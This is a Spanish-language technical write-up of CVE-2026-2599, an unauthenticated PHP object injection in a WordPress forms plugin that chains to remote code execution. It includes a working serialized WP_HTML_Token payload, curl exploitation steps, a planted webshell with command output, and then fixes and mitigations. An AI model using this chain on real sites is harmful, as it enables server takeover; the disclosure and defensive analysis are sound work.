CVE-2026-2599: inyección de objetos PHP en WordPress hacia RCE
Un desglose técnico de CVE-2026-2599, una vulnerabilidad crítica de inyección de objetos PHP no autenticada (CVSS 9.8) en el plugin de WordPress «Contact Form Entries» (≤ 1.4.7). La función download_csv deserializa entradas de usuario no confiables sin restricciones de allowed_classes. Combinada con WordPress 6.4.0-6.4.1, la clase integrada WP_HTML_Token proporciona una cadena POP completamente pública que conduce a la ejecución remota de código (RCE) completa mediante dos solicitudes HTTP no autenticadas.
Exploit CVE-2026-2599
Inyección de objetos PHP no autenticada → Cadena POP de WP_HTML_Token
12 de marzo de 2026 · CVSS 9.8 Crítica · Contact Form Entries ≤ 1.4.7 + WordPress 6.4.0-6.4.1
| CVE ID | CVSS | Afectado | Corregido |
|---|---|---|---|
| CVE-2026-2599 | 9.8 Crítica | CF Entries ≤ 1.4.7 + WP 6.4.0-6.4.1 | Plugin 1.4.8 / WP 6.4.2+ |
Aquí es donde las cosas se vuelven peligrosas. El plugin confía ciegamente en la entrada del usuario en cada paso. No hay comprobación de autenticación en el punto de entrada, no hay restricción de clases en la deserialización y los errores se suprimen silenciosamente. A continuación, se presenta un desglose de cómo un atacante puede entrar por la puerta principal, inyectar un objeto serializado malicioso y dejar que PHP haga el resto.
Resumen ejecutivo de CVE-2026-2599: inyección de objetos PHP no autenticada
CVE-2026-2599 es una vulnerabilidad de inyección de objetos PHP no autenticada en el plugin «Database for Contact Form 7, WPforms, Elementor forms» (slug: contact-form-entries), que afecta a todas las versiones hasta la 1.4.7 incluida.
La vulnerabilidad existe en la función download_csv, que deserializa entradas de usuario no confiables sin restricciones de allowed_classes. El plugin no contiene ninguna cadena POP explotable por sí mismo. Sin embargo, en combinación con WordPress 6.4.0 o 6.4.1, la clase integrada WP_HTML_Token proporciona una cadena completa:
- Propiedades totalmente públicas: no requiere serialización de bytes NUL
- Sin protección
__wakeup(añadida únicamente en WP 6.4.2) - Un
__destructpeligroso llama acall_user_func($this->on_destroy, $this->bookmark_name)
| Impacto: ejecución remota de código completa mediante 2 solicitudes HTTP no autenticadas: (1) enviar el payload serializado a través de Contact Form 7, (2) activar la exportación CSV para deserializar y ejecutar. Cero autenticación requerida en cualquier paso. |
|---|
Análisis de la vulnerabilidad: deserialización no autenticada
Punto de entrada: no se requiere autenticación
El activador de la vulnerabilidad se encuentra en contact-form-entries.php, líneas 76-89:
public function init() {
if (!empty($_GET['vx_crm_form_action']) &&
$_GET['vx_crm_form_action'] == "download_csv") {
$form_id = !empty($_GET['vx_form_id']) ? $_GET['vx_form_id'] : "";
$data = !empty($_GET['data']) ? $_GET['data'] : "";
$key = !empty($_GET['vx_crm_key']) ? $_GET['vx_crm_key'] : "";
self::download_csv($form_id, $data, $key);
die();
}
}
Cero comprobaciones de autenticación. Cualquier atacante no autenticado activa esto con una única solicitud GET:
GET /?vx_crm_form_action=download_csv&vx_crm_key=<EXPORT_KEY>
La clave de exportación es un hash SHA1 de 44 caracteres almacenado en las opciones de WordPress. Se puede obtener mediante fuerza bruta, divulgación de información o fuga en archivos de copia de seguridad/JavaScript del lado del cliente.
El sumidero (sink): deserialización insegura
La función download_csv recupera las entradas del formulario y las deserializa en la línea 3017:
$val = maybe_unserialize($row[$field['name'].'_field']);
maybe_unserialize() envuelve unserialize() de PHP sin restricción de allowed_classes:
function maybe_unserialize($data) {
if (is_serialized($data))
return @unserialize($data); // no allowed_classes parameter
return $data;
}
El operador @ silencia los errores. Se puede inyectar cualquier objeto PHP disponible en el autoloader.
Flujo de código
HTTP GET /?vx_crm_form_action=download_csv
|
init() -- no auth check
|
download_csv($form_id, $data, $key)
|
SQL query fetches user-submitted form data
|
maybe_unserialize($row['message_field']) -- line 3017
|
PHP object instantiated from attacker-controlled string
|
__destruct() fires during cleanup
|
RCE
Barrera de explotación: filtro de bytes NUL de wp_kses_no_null()
El sumidero de deserialización existe, pero hay un obstáculo importante para la explotación a través de HTTP puro: wp_kses_no_null().
Antes de almacenar cualquier envío de formulario, WordPress lo pasa por wp_kses_no_null():
function wp_kses_no_null($string, $options = null) {
$string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
$string = preg_replace('/\\\\+0+/', '', $string);
return $string;
}
PHP serializa las propiedades privadas y protegidas con marcadores de bytes NUL:
// Public property
s:4:"name";s:5:"value";
// Private property (NUL bytes required)
s:14:"\0ClassName\0name";s:5:"value";
^^^^
stripped by wp_kses_no_null()
Ejemplo del mundo real: GuzzleHttp\Cookie\FileCookieJar tiene una cadena __destruct con file_put_contents(), pero todas sus propiedades son privadas. El envío por HTTP elimina los bytes NUL, el payload queda malformado y el exploit falla.
Se probaron todos los intentos de codificación y fueron eliminados: bytes NUL sin procesar (\x00), escape de PHP (\0), múltiples barras invertidas (\\0, \\\0), codificación URL (%00) y formato S: de PHP; ninguno sobrevive a wp_kses_no_null().
| Conclusión: la explotación requiere una cadena POP totalmente pública donde no aparezcan propiedades privadas o protegidas en el payload serializado. |
|---|
Ruta de explotación de CVE-2026-2599
La explotación requiere una cadena POP donde cada propiedad sea pública: sin bytes NUL en la serialización.
Se analizaron más de 15 plugins populares de WordPress en busca de cadenas POP totalmente públicas explotables:
| Plugin | Métodos __destruct | Métodos __toString | ¿Explotable? |
|---|---|---|---|
| UpdraftPlus | 8 | 4 | Propiedades privadas |
| BackWPup | 12 | 3 | Sin sumideros peligrosos |
| Yoast SEO | 6 | 7 | Las comprobaciones de tipo bloquean la inyección |
| Wordfence | 5 | 2 | Sin sumideros de archivos/comandos |
| Duplicator | 9 | 3 | Propiedades privadas |
| WooCommerce | 18 | 11 | Propiedades privadas + protecciones |
| Elementor | 14 | 8 | Sin cadenas explotables |
| All-in-One WP Migration | 7 | 4 | Propiedades privadas |
| WP Mail SMTP | 4 | 2 | Sin sumideros |
| Ninja Forms | 5 | 3 | Sin sumideros |
| Redux Framework | 6 | 5 | Seguridad de tipos |
También se analizó PHPGGC (PHP Generic Gadget Chains). Todas las cadenas específicas de WordPress estaban parcheadas o protegidas: WordPress/P1 (parcheado en WP 5.5.2), WordPress/P2 (__wakeup añadido), WordPress/P3 (__wakeup añadido en WP 6.4.2). La cadena de phpseclib v2 utiliza propiedades var al estilo de PHP 4 (públicas en PHP 5+) y apunta a un sumidero eval(), pero la estricta comprobación de tipos de feof() en PHP 8.3 falla antes de alcanzar el sumidero.
| Resultado: ningún plugin existente en WordPress 6.9.1 / PHP 8.3 proporciona una cadena POP totalmente pública funcional, excepto WP_HTML_Token en WordPress 6.4.0-6.4.1. |
|---|
El gran avance: WP_HTML_Token (WordPress 6.4.0-6.4.1)
WordPress 6.4.0 introdujo WP_HTML_Token en wp-includes/html-api/class-wp-html-token.php:
class WP_HTML_Token {
public $bookmark_name;
public $node_name;
public $has_self_closing_flag;
public $on_destroy;
public function __destruct() {
if (isset($this->on_destroy)) {
call_user_func($this->on_destroy, $this->bookmark_name);
}
}
}
Por qué esta cadena es perfecta: las 4 propiedades son públicas (cero bytes NUL en la serialización), no hay __wakeup en WP 6.4.0-6.4.1, __destruct llama a una función arbitraria de PHP con un argumento controlado por el atacante y está disponible por defecto sin necesidad de plugins adicionales.
Payload del exploit:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:2:"id";
s:9:"node_name";s:3:"DIV";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
// When destroyed:
call_user_func("system", "id"); // executes OS command
Prueba de concepto de CVE-2026-2599: ejecución remota de código completa
Para demostrar que esta vulnerabilidad es más que un simple riesgo teórico, creamos un exploit funcional completo desde cero en un laboratorio controlado. El resultado es sorprendente: solo dos solicitudes HTTP simples, enviadas sin ningún inicio de sesión ni credenciales, son suficientes para tomar el control total de un sitio de WordPress vulnerable. Inyectamos un objeto WP_HTML_Token manipulado a través de un envío normal de Contact Form 7 y luego activamos su deserialización accediendo al endpoint de exportación CSV. A partir de ahí, PHP hace el trabajo pesado por nosotros. El recolector de basura entra en acción, __destruct() se ejecuta, system() corre nuestro comando y una webshell aterriza silenciosamente en el servidor. Todo el proceso toma menos de tres segundos.
Configuración del laboratorio
version: '3'
services:
wordpress:
image: wordpress:6.4.1-php8.1-apache
ports:
- "8081:80"
environment:
WORDPRESS_DB_HOST: wp_db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
wp_db:
image: mariadb:10.11
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
Configuración del plugin
Instale Contact Form 7 v5.8.4 y Contact Form Entries v1.4.7. Configure CF Entries para rastrear los envíos de CF7 mediante actualizaciones directas de las opciones en la base de datos:
-- Set up form ID mapping
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";s:44:"12345abc678def901234567890abcdef1234567890ab";}'
WHERE option_name = 'vx_crm_forms_ids';
-- Register form metadata
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";a:1:{s:2:"id";s:1:"5";}}'
WHERE option_name = 'vxcf_all_forms';
Paso 1: Enviar payload a través de CF7 (sin autenticación)
El payload escribe una webshell en /var/www/html/pwned.php. El contenido de la webshell (<?php system($_GET['c']); ?>) está codificado en base64 para sobrevivir al transporte HTTP.
echo -n 'O:13:"WP_HTML_Token":4:{...full payload...}' > /tmp/payload.txt
curl -X POST 'http://target:8081/?rest_route=/contact-form-7/v1/contact-forms/5/feedback' \
-F '_wpcf7=5' \
-F '_wpcf7_version=5.8.4' \
-F '_wpcf7_unit_tag=wpcf7-f5-o1' \
-F 'message=</tmp/payload.txt'
{"contact_form_id":5,"status":"mail_failed","message":"There was an error..."}
El estado mail_failed es el esperado; el payload se almacena en la base de datos de todos modos.
Paso 2: Activar la exportación CSV (deserialización)

Secuencia de ejecución: el plugin consulta la base de datos, recupera el WP_HTML_Token serializado de la columna message_field y llama a maybe_unserialize() en la línea 3017. PHP instancia el objeto, completa las 4 propiedades y luego encuentra un TypeError en la línea 3089 cuando mb_substr() recibe un objeto en lugar de una cadena. Durante la limpieza, __destruct() se dispara y ejecuta call_user_func("system", "echo PD9... | base64 -d > pwned.php"), escribiendo la webshell en el disco de forma silenciosa. La respuesta de error fatal es una pista falsa; la RCE ya se ejecutó antes de que se renderice.
Paso 3: Verificar RCE

curl 'http://target:8081/pwned.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl 'http://target:8081/pwned.php?c=uname+-a'
# Linux abc123 6.1.0-18-amd64 ... GNU/Linux
| Ejecución completa de comandos conseguida: cero autenticación requerida en cualquier paso. Dos solicitudes HTTP. Menos de 3 segundos. Sin credenciales. Sin interacción del usuario. |
|---|
Cómo corregir CVE-2026-2599
Análisis del código corregido
WordPress 6.4.2 añadió un único mecanismo de desactivación inmediata (kill switch) a WP_HTML_Token:
// BEFORE (vulnerable): no __wakeup — deserialization completes, __destruct fires
public function __destruct() {
if (isset($this->on_destroy)) {
call_user_func($this->on_destroy, $this->bookmark_name);
}
}
// AFTER (fixed): __wakeup throws immediately, object is destroyed before __destruct
public function __wakeup() {
throw new LogicException('WP_HTML_Token should never be unserialized');
}
Regla de PHP: si __wakeup() lanza una excepción, el objeto se destruye inmediatamente y __destruct() nunca se ejecuta. Esto elimina toda la cadena POP. Se añadió específicamente en respuesta a este vector de ataque.
El plugin Contact Form Entries 1.4.8 corrige de forma independiente el sumidero de deserialización pasando una restricción de allowed_classes a unserialize(), lo que impide cualquier inyección de objetos independientemente de la versión de WordPress:
// AFTER (fixed): restrict deserialization to scalar types only
return @unserialize($data, ['allowed_classes' => false]);
Mitigación de CVE-2026-2599 y buenas prácticas
- Actualizar ahora: actualice Contact Form Entries a la versión 1.4.8 o superior, y asegúrese de que WordPress esté en la versión 6.4.2+. Cualquiera de las dos correcciones por separado rompe la cadena de explotación.
- Restringir
unserialize(): pase siempre['allowed_classes' => false]o una lista de permitidos explícita al deserializar datos controlados por el usuario. - Validar la entrada de deserialización: nunca deserialice datos que hayan pasado por endpoints HTTP expuestos a usuarios sin restricciones estrictas de tipo y clase.
- Reglas de WAF: implemente reglas que detecten la sintaxis de serialización de PHP (
O:<digits>:) en los campos de envío de formularios. - Supervisar las actualizaciones de plugins: los plugins con un alto número de instalaciones como Contact Form Entries son objetivos de alto valor. Suscríbase a los avisos de Wordfence o WPScan para sus plugins activos.
Referencias
| Recurso | Enlace |
|---|---|
| Wordfence Advisory | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-entries/cve-2026-2599 |
| Contact Form Entries Plugin | https://wordpress.org/plugins/contact-form-entries/ |
| PHPGGC (PHP Generic Gadget Chains) | https://github.com/ambionics/phpggc |